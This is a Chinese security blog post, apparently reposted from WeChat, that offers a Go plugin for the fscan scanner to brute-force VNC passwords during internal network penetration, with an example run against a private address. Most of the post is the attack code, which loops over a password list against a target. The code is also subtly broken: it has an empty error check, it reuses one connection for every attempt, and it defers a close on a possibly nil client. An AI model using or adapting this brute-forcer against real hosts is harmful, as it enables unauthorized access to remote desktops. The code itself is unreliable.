0x01 前言
老早之前发现fscan和kscan都没法去爆破VNC,而在内网渗透的过程中,部分机器会存在VNC的登录。
正好github也有人提这个issue,作者暂时还没加。
0x02 源码
查阅一些工具的VNC爆破源码,发现大多数用了一个go-vnc开源库
go get github.com/mitchellh/go-vnc
写一个插件(不知道符不符合作者的写法习惯,对我而言不报错已经谢天谢地了)
package Plugins import ( "fmt" "github.com/mitchellh/go-vnc" "github.com/shadow1ng/fscan/common" "net" "time" ) func checkvnc(info *common.HostInfo) (flag bool, err error) { flag = false Host, Port := info.Host, info.Ports addr := fmt.Sprintf("%s:%s", Host, Port) conn, err := net.DialTimeout("tcp", addr, 3*time.Second) if err != nil { } defer conn.Close() for _, pass := range common.Passwords { config := &vnc.ClientConfig{ Auth: []vnc.ClientAuth{ &vnc.PasswordAuth{ Password: pass, }, }, } client, err := vnc.Client(conn, config) if err == nil { //fmt.Println("[+] VNC", info.Host, ":", info.Ports, pass) result := fmt.Sprintf("[+] VNC %v:%v password: %v", Host, Port, pass) common.LogSuccess(result) flag = true break } defer client.Close() } return flag, err }
0x03 测试环境
go run .main.go -h 192.168.83.129 -p 5901
原文始发于微信公众号(小肥羊安全):[fscan插件] 一个用于fscan的VNC爆破插件
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论